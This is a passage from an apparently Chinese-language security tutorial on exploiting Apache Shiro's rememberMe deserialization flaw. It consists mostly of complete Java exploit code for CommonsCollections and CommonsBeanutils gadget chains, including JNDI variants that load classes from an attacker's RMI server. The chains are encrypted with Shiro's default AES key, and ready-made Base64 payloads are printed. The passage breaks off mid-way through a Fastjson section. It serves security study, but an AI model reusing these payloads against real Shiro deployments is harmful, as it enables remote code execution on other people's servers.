import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import org.apache.shiro.codec.Base64;
import java.util.Map;

public class CC321Payload {
   	// 生成恶意类字节码
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime" +
                ".AbstractTranslet"));
        evil.makeClassInitializer().insertBefore(cmd);
        return evil.toBytecode();
    }
    // 反射设置字段值
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    // 生成恶意的Map类,作为gadget
    public static Map gadGet() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates, "_name", "evil");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry,"lingx5");
        setField(lazyMap,"factory",invokerTransformer);
        lazyMap.remove(templates);
        return map;
    }

    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CC321bytes = baos.toByteArray();

        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV 随encrypt一起传输
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] enEvilbytes = cipher.doFinal(CC321bytes);
        // 拼接IV和加密后的CC321
        byte[] IVandEncrypt = new byte[IV.length + enEvilbytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(enEvilbytes, 0, IVandEncrypt, IV.length, enEvilbytes.length);
        String IVandEncryptB64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(IVandEncryptB64);

        /**
         * 模拟 shiro 的解密过程,反序列化验证
         */

        // base64解码
        byte[] IVandEncryptBytes = Base64.decode(IVandEncryptB64);
        // 拆分IV和加密后的CC321
        byte[] deIv = new byte[16];
        byte[] evil = new byte[IVandEncryptBytes.length - deIv.length];
        System.arraycopy(IVandEncryptBytes,0,deIv,0,deIv.length);
        System.arraycopy(IVandEncryptBytes,deIv.length,evil,0,evil.length);
        cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
        byte[] deEvilBytes = cipher.doFinal(evil);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvilBytes);
        new ObjectInputStream(bais).readObject();

    }
}
AAAAAAAAAAAAAAAAAAAAAItICRDL55PQ4M+uF/0QjIxmsxx8mwO0zL+cCUsm9HObVST6ifzXbe1pfVhnBOcNB/avKvCNhZKKEkw8li0SSbf62ZGen2JxK9GPNTlXi10BCSiCCjUZj2I2OccLu/h/iBFMCuLAaK+Qzr6jV6+n8rm8vAp3o7q2HqBXHvAtciY4ur4CJ356Mme5jrqdtaI++cjAuJgvjG3cRsWrMSooPDeAci0crfFK+3Lj3yVUF1Hic+S2UG4nlsv9ixbN2kQ9h96YKRFwc+FVEtLlOyKCsf7cbvPwDlb8zQpfu9I5GlgAyBJ8HToAFRfx+Sc/sXdACA2nQail4+3eEQ+P2avZI0VYatZ4+OJzNUiGmZPWpRvjlaBvMQ4ywEjndwP9d8Ye+tPXJoO8L9bWbXbNk46rBqlO1u4BF0GpEYqwCs88gaQWYwo/aVvajl5hdyY1vBh0/kK2R3WoQ9j4mEBHUVF9de203eoiO+DaWsxmvZkeqpAzdt1EkJ7t1uC1bswdrSmGizBnQcwNK2+6AfRAXvq0ZRYNFWlY3o9rOEWrLX1ZKHbpqj8pJ9N8ikayN8rJwqWOElSs0hHBhEzUk5YzF5XhXpjR4ULmMThYBlQHLX+wk9VmuVQSeVXTXPJ7+vAzQLYkJvV0uJLjFno3A5rDykeW5MUUQJHUhxsrDg8OrfcX1IEx/3QOAFIDFjDD9tlSiiGIixoeldxGhH7YRUXaBjl0Xa853SKns8fllBz2e1nPgFcJ/Yatw0Qhegy8g6uEZqZ7F8G1zF1gwPFHkdpQXKNgpWhxFZOkH/1tXovTBZuaqbJ4syPirFodzUh/CH/7e78Tpj0yQjCONfoBKTzkFAa1omWgVagR16OU6hiTzHbtaDvqFR1nxirVdR0H7JfD6aJ5yXpB/30jbD4PQ6sBnNzoR5ojD/ioAWi3CIqhW2Jugl0XIiPQDLWdWwPm5A4xbgGjjZ4DoBAwNQum7zDAE/ebRDtCm8hRMLXuV8k/ol+icErvIKxn8P624MnaSbJLA6scXKEdKXpk2yvnbksKnHQQi8+KyVDDEUpOrahJDA2miMRZ/2VfOvrdxJVfkFsEiQvgYOfetu8gFTkSFTaNMFm7i/YTbgtBbb7o73w6E54Ma+W8Q4AQxz3Fcf7QozyPYbF2vEb0sGsGi2RwzRUy1mAW2+01ZwYt4JCIkfu6nfRVusLUr44AjuqbTuR+fkOdIu4vBwZfh0cFbhM8KrvoQP7QKl7dKPkbbfiNiQ7dd/RClsP5s7XqE87fyCD0eI5p8e1FkUIgOfJfG0wUZqYwyG17u2v94lR1eLoxxLK5L2xoB+6QrwFbRb+ccn4Gg6356YAgXL19XXCSR//2G+8aiYXAcTHZ4YaD+vTdDNFhqWztTakdfyGVihkFJIZKhchjhW2nSs5sx4ZjqEOVbpwL1ycsPxmf+blgZGOkGs/jzrK17XhQTqzSMg3UCdI4N1PHFwxUW29RH2aOsL4z/7VHQBpiBj5doFYtPNpxRfuo4HREJvMT7ApfhPiGPdla573/yooJy7iLqeg5kEYo+3PJ0FuLHmpwAky78IH29a/dIQIOn3fSa/CrbtgwkiQPGhtuLY2js1qkMHDiveiytMVGtYgMjfe/QHhaZG0+Dtv1ivKsR9SBANl3AC0sGxiDLW3+uhoqQOvPtP1+hE9gzd+pnl1eLLZ5eZ2ptFAXlf12wDDc73PiXIVHcifLuU7B5USkOGmG/XLDwJkhSDFvNcWbw3RjcgE=

可以攻击成功

image-20250420153552612

CB 链攻击

shiro 默认是带了 commons-beanutils 依赖的

image-20250420155140387

所以这条链更加通用

保证依赖版本一直

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.time.temporal.Temporal;
import java.util.PriorityQueue;

public class CB {
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        evil.makeClassInitializer().insertBefore(cmd);
        return evil.toBytecode();
    }
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates,"_name","evil");
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setField(priorityQueue,"size",2);
        setField(priorityQueue,"queue",new Object[]{templates,"lingx5"});
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        // 序列化CB链
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CBbytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE,key,ivSpec);
        byte[] encryptBytes = cipher.doFinal(CBbytes);
        // 拼接IV和加密后的CB链
        byte[] IVandEncrypt = new byte[IV.length + encryptBytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(encryptBytes, 0, IVandEncrypt, IV.length, encryptBytes.length);
        // Base64编码
        String evilBase64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        byte[] decode = Base64.decode(evilBase64);
        byte[] deIV = new byte[16];
        byte[]  deEvilBytes = new byte[decode.length - deIV.length];
        System.arraycopy(decode,0,deIV,0,deIV.length);
        System.arraycopy(decode,deIV.length,deEvilBytes,0,deEvilBytes.length);
        IvParameterSpec deIvSpec = new IvParameterSpec(deIV);
        cipher.init(Cipher.DECRYPT_MODE,key,deIvSpec);
        byte[] deEvil = cipher.doFinal(deEvilBytes);

        ByteArrayInputStream bais = new ByteArrayInputStream(deEvil);
        new ObjectInputStream(bais).readObject();

    }
}
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmHjn+yS1RXTT9F5R0sGFblDzzZz+nZQsajao/gdRfw9L3y5N8MW8iFfeSugI+i7ayGvI5zma4flvI0+Ohs0e75iasXZ3R32UCQwCKgUnh0mU63auBEG0Cp2Ej402UIE3o7aDh4sYQ9eOPeErUZhxgVXPEwS0jSobopf1XLG+U84xHW/PZwmedp9fFUKZb43tRoIYEJbLbaoZ+6IPdiljQxyNIt1UKp9kTUdIRMfZbQ+XP0om/c4zO5gSMZGC5zkML5L8xyfEb8FRoTUVzIEu6OkWTfuTZNE2Iu6josCSaJfWqgeU+lSWLUO/U2h7+ysKZzIiT0OGvHNJPQuTbNtD4UNcqVnWslexMivy4j3jna/qJWiyL825Iup4xj+IUguTPEbANdN/QjG9kvMPF1H47HoRw8I77cM575xF8KiYJXqfOTMdfkCKBi79iLrHTuwwRwWav1WhXmKs8nwCL1w2R9qoaXvaDMDNGQKpO0XHGsEeLOI9I1tg9RHatCYclF0DMVqLGInN5ZBq8Rd7G+L5f72ijtdSOZfSAM4VPpUFEUZhhauKNW5DTqYDKfrJHQvWJawoXKp0vK0xQoTr45TcgMv6ChEUTb7f+K0Ehb9G0XYVFIhJhgqQD8O+fD4mHt2ae4Hzi+9Y+GZmSdLyq8iM3l0+j9Tvt//5CZSov9wE7BZmTY7YLgMP8dzNJfE5H42E+/Fh89GUOYW7EHTF+6ywmGfavFiO83Cm2LFGfyyiAW5VFZnEaafRiJWRmf+ig62Oxt+6j5OWe1YiViDwi6Uu9SYd2Ql1zTSqxwvMMUzBVyAafzgY2wsU32qS4P2nietjz7rhtmJh5UsNKDMeLnTjLSPfAYxmp+nyAw13Og5KpRqAimMNueU0gBfVwpkkd7MWSMyMNhuj1AsCcPUdnFQ8HON9w3y3DIbPoaOZxY/j327bnR4TZ2QGwe1D9dlw56wxRTaEpjFKwoLIRfqT53HF3A+O6SYvbw6L5Jsrkea7LFGwdL935eglE+/dlMDz//yOSfiX6jKvme9j3xfhSXeSrjZhGkCOdKea1XQRkm1B+dKx8CmIPY/IoGSTx8ayimutvGC9Kt/rijlE9uMv8K7ftrlPs8w021jPwqgN3LaZnEPAVjBrt1+8aJod+D1KS4qkmfUXTVt2/gjB+35VOo6+riVz9o3WWhs+/RoZH5DnuQFHPsIMqEnuN3QZI8KNOk/FVyG9cbrBlGf7M0wjMPd9/cU=

image-20250420191944371

需要注意的是 BeanComparator 这个类的构造方法

image-20250420192446736

看到

image-20250420192545420

所以 payload 在初始化的时候,传入的是 AttrCompare

BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

CB、CC-JNDI

目标可以出网的时候,我们可以利用 JdbcRowSetImpl 这个类进行 JNDI 的一系列攻击,在讨论 fasjson1.2.24 时,也有用到这个类进行 JNDI 的攻击,在 fastjson 中主要用到的方法是 setAutoCommit 去调用 connect() 方法,触发 JNDI 攻击。

不熟悉 JNDIRMI 的话,可以参考我这两篇文章

事实上 connect() 方法在 JdbcRowSetImpl 中调用的地方还有很多

image-20250421135933032

CC 链的 InvokeTransformer 具有反射调用任意方法的能力,而 CB 链的 PropertyUtil 具有调用 getter 方法的能力。这也成为了我们可以利用的点,如果目标采用高版本的 JDK,需要开启 trustCodeBase = true

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

我们先来看低版本 jdk7u80 没有做 trustURLCodebase 限制的版本

CBJNDI

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

public class CBJNDI {

    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Exploit");
        BeanComparator beanComparator = new BeanComparator("databaseMetaData",new AttrCompare());
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setField(priorityQueue,"size",2);
        setField(priorityQueue,"queue",new Object[]{jdbcRowSet,"lingx5"});
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        // 序列化CB链
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CBbytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE,key,ivSpec);
        byte[] encryptBytes = cipher.doFinal(CBbytes);
        // 拼接IV和加密后的CB链
        byte[] IVandEncrypt = new byte[IV.length + encryptBytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(encryptBytes, 0, IVandEncrypt, IV.length, encryptBytes.length);
        // Base64编码
        String evilBase64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        byte[] decode = Base64.decode(evilBase64);
        byte[] deIV = new byte[16];
        byte[]  deEvilBytes = new byte[decode.length - deIV.length];
        System.arraycopy(decode,0,deIV,0,deIV.length);
        System.arraycopy(decode,deIV.length,deEvilBytes,0,deEvilBytes.length);
        IvParameterSpec deIvSpec = new IvParameterSpec(deIV);
        cipher.init(Cipher.DECRYPT_MODE,key,deIvSpec);
        byte[] deEvil = cipher.doFinal(deEvilBytes);

        ByteArrayInputStream bais = new ByteArrayInputStream(deEvil);
        new ObjectInputStream(bais).readObject();

    }
}
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmHjn+yS1RXTT9F5R0sGFblDzzZz+nZQsajao/gdRfw9L3y5N8MW8iFfeSugI+i7ayGvI5zma4flvI0+Ohs0e75iasXZ3R32UCQwCKgUnh0mU63auBEG0Cp2Ej402UIE3o7aDh4sYQ9eOPeErUZhxgVXPEwS0jSobopf1XLG+U84xHW/PZwmedp9fFUKZb43tRoIYEJbLbaoZ+6IPdiljQxyNIt1UKp9kTUdIRMfZbQ+XXL96FlqUjDjMpEuQ/04P4sr0Q4TMcO8gKx2MsXdjE1wMXm4xUoNmYCKS+gP40cuQ9ZkjOpWD4xK8PPjHAKi4B/yX23PeseYG4BgEJ7Wxt43UBMuBkK8uAiq8+i9thHK3HOoWQBQcpfbUErwt97Dt2KVRnjfeH/W/H8H9Y80fenJnQ52jn08qvCfWUaogKbIRcWgpkHji3hhSb1/F8TDJIozRzyIRfLZN6S4mONEXOR2CCiPwIRvptY5OvpWmgc0za9EP4ptxlXAZ5tFBnQ4FkQnm0fkW2YjNNvJAdmf8H9VM4vBER6ylig8W53p8E2or/Yo80Iv2OKEZvgMa6mdDp6oNSH02r7SHsgShUY1lvRhOQPnpqQ6bkwgztgzALHnUJE8RToC/41PwfWC8JXLMAxl+NOpQ9JIHg1JRBW2WENaVARKxdPbR3CTUjza63NkOesCYpphTA2EPzWKS0tPUOoguYiwfbfk6sCs+NNP78rtIMxJ7r28fYZrhUsZQ19Yva3hVeW5l2BGx0dX9/+5XpBLKPwPS3bi2mukP/7WlX6PIn0wK5cQbYh7iCAn9RMaFcrMs5MPsa2tA6Emdmsl//ZKLztCYN41cytm8Q5ILppBUexuI+AL7quGOWZ5tnMVd8T5N9UZW6iLbccEzzwK3A2yZXy0Z5C3wSlvur7jdgFgzxAO/frwHyWp2W3YdNVLCNs88mbMVwOtDvHsyrX7i/SYhrSZGwd+3AjHtmtRq991YbzF5Wr+P2HgMub7nc7DLLgzt7JitTp/OHWUiY3toGXVwtkpzD+3FAi3g3tGzWTvZI9qYaan3d82BVcjVFNEgfg3yF+W4vLnaMczVc3JVyp/zvDWamt3mdHurxE3h1NhhpMCo09IRYIpbFT8PBXDwXdLq9T3EbqWd5dHhq+wWQ0Ns1DPwHMd6dah6d9nXN617atL7mAR9xJPjsQwxb6cAzJD3fEXQ6ESpOIx9oBoePh90QEI/nL4RPIQHigy5Vp1ABykdnzg9MwIEbRzB6yi+a55SYyoSVFwNQ3DsO7TPxL/oW5MNSGvDhgCG8AVRJ6ZbdSWg4lBnfTSWdIwKBIswvTFGKs656nfVwInX4qhrk7KEbSFYu0S4kQwIEHwjpldn4A12pZ1jGjF+5U2fBYr8usLcorVdJ7o7ZYZ/J0m/i+nan6h1KrPoRIyVHEKZdw3SIA6uWepdsDcHgxIBzelJbSV6d15RPq6qcwpIRaehkepAItfn2wCizCarD0rCuAhTSg3pPmKmlbuO3xwP928lniY66bEdAnhzDH3p4tai8YDYA99uJrirTGuEZoY2g6QsJ2Zdoe6cFwHFTdVLahnhPzspyooI3hXkTlQSj3+RqAxZpECgYMeODY5jrLIwqde+NQfm1BJB3YzMLbcmWXO+F2Ff9p6JUdlXFO3xnrrYxJTqSiFp6HrvD1PAQmbP2bSCJ82LgxbeJwTtRNxzpH9bMYpYLLdSiC1FtRXlLgINI/C0VCzXO3eL8LD0yGE5XFUitd8gE5Nq1XvMiiaY/NqE9f99QSX9kXo9B0JnIgT90z3s2kPTKrhfPz0+lpHzOkPc2Ch2hA5EMcj0MpH0DWZG8ICqHZ3EvcwXU6X2hAlpYH9/86LgXqGLKmnhT614YxXoPMrfiymewHnuZ2dsNLPyp9p/sSQCSMBADfad2FO3Yg==

开启对应的 RMI 和 http 服务

image-20250421151245612 image-20250421151413989

image-20250421152015972

CCJNDI

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import org.apache.shiro.codec.Base64;
import java.util.Map;

public class CCJNDI {

    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Exploit");
        InvokerTransformer invokerTransformer = new InvokerTransformer("getDatabaseMetaData", new Class[]{}, new Object[]{});
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, jdbcRowSet);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry,"lingx5");
        setField(lazyMap,"factory",invokerTransformer);
        lazyMap.remove(jdbcRowSet);
        return map;
    }

    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CC321bytes = baos.toByteArray();

        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV 随encrypt一起传输
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] enEvilbytes = cipher.doFinal(CC321bytes);
        // 拼接IV和加密后的CC321
        byte[] IVandEncrypt = new byte[IV.length + enEvilbytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(enEvilbytes, 0, IVandEncrypt, IV.length, enEvilbytes.length);
        String IVandEncryptB64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(IVandEncryptB64);

        /**
         * 模拟 shiro 的解密过程,反序列化验证
         */

        // base64解码
        byte[] IVandEncryptBytes = Base64.decode(IVandEncryptB64);
        // 拆分IV和加密后的CC321
        byte[] deIv = new byte[16];
        byte[] evil = new byte[IVandEncryptBytes.length - deIv.length];
        System.arraycopy(IVandEncryptBytes,0,deIv,0,deIv.length);
        System.arraycopy(IVandEncryptBytes,deIv.length,evil,0,evil.length);
        cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
        byte[] deEvilBytes = cipher.doFinal(evil);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvilBytes);
        new ObjectInputStream(bais).readObject();

    }
}
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

image-20250421164652463

高版本

对于高版本可以选择用 JNDI 绕过的一些手法,我之前在 这篇文章 也讨论这个话题,这里就不过多赘述了

Fastjson 链攻击

我们在之前讲 fastjosn 的时候,审过这样一条链,具体可以看我之前这篇文章:fastjson 原生反序列化链

当目标有 fastjosn 在版本 1.2.48-2.0.26 之间时

我们写 payload, 导入依赖

<dependency>
